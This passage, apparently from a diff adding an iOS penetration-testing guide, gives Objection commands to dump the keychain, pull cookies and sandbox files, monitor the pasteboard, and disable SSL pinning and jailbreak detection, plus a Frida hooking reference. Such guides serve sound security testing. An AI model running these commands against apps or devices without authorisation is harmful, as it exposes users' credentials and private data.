|
|
351
|
+
# Step 3: Check binary protections
|
|
352
|
+
otool -hv decrypted_binary | grep PIE
|
|
353
|
+
otool -Iv decrypted_binary | grep -c __stack_chk_guard
|
|
354
|
+
|
|
355
|
+
# Step 4: Runtime testing with Objection
|
|
356
|
+
objection -g com.target.app explore
|
|
357
|
+
> ios keychain dump
|
|
358
|
+
> ios nsuserdefaults get
|
|
359
|
+
> ios sslpinning disable
|
|
360
|
+
> ios jailbreak disable
|
|
361
|
+
|
|
362
|
+
# Step 5: Traffic interception
|
|
363
|
+
# Configure proxy (Burp/mitmproxy) + SSL bypass
|
|
364
|
+
# Analyze API calls for auth issues, IDOR, etc.
|
|
365
|
+
```
|
|
366
|
+
|
|
367
|
+
### 4.2 Data Extraction Workflow
|
|
368
|
+
|
|
369
|
+
```bash
|
|
370
|
+
# 1. Connect to app
|
|
371
|
+
objection -g com.target.app explore
|
|
372
|
+
|
|
373
|
+
# 2. Enumerate data stores
|
|
374
|
+
> env # shows sandbox paths
|
|
375
|
+
> ls Documents/
|
|
376
|
+
> ls Library/
|
|
377
|
+
> ls Library/Preferences/
|
|
378
|
+
> ls Library/Application Support/
|
|
379
|
+
|
|
380
|
+
# 3. Download interesting files
|
|
381
|
+
> file download Library/Preferences/com.target.app.plist
|
|
382
|
+
> file download Library/Application\ Support/data.sqlite
|
|
383
|
+
|
|
384
|
+
# 4. Dump keychain
|
|
385
|
+
> ios keychain dump --json > keychain.json
|
|
386
|
+
|
|
387
|
+
# 5. Check cookies
|
|
388
|
+
> ios cookies get
|
|
389
|
+
|
|
390
|
+
# 6. Monitor pasteboard
|
|
391
|
+
> ios pasteboard monitor
|
|
392
|
+
```
|
|
393
|
+
|
|
394
|
+
---
|
|
395
|
+
|
|
396
|
+
## 5. iOS-SPECIFIC FRIDA QUICK REFERENCE
|
|
397
|
+
|
|
398
|
+
| Task | Frida One-Liner |
|
|
399
|
+
|---|---|
|
|
400
|
+
| List processes | `frida-ps -U` |
|
|
401
|
+
| Spawn app | `frida -U -f com.target.app` |
|
|
402
|
+
| Attach to running | `frida -U com.target.app` |
|
|
403
|
+
| List ObjC classes | `ObjC.enumerateLoadedClasses(callbacks)` |
|
|
404
|
+
| Get class methods | `ObjC.classes.ClassName.$ownMethods` |
|
|
405
|
+
| Hook method | `Interceptor.attach(ObjC.classes.X['- method'].implementation, {...})` |
|
|
406
|
+
| Replace method | `ObjC.classes.X['- method'].implementation = ObjC.implement(...)` |
|
|
407
|
+
| Call method | `ObjC.classes.X.alloc().init().method()` |
|
|
408
|
+
| Read string arg | `ObjC.Object(args[2]).toString()` |
|
|
409
|
+
| Find instances | `ObjC.choose(ObjC.classes.ClassName, {onMatch: ...})` |
|
|
410
|
+
| Read memory | `Memory.readUtf8String(ptr)` |
|
|
411
|
+
| Find export | `Module.findExportByName('Security', 'SecTrustEvaluate')` |
|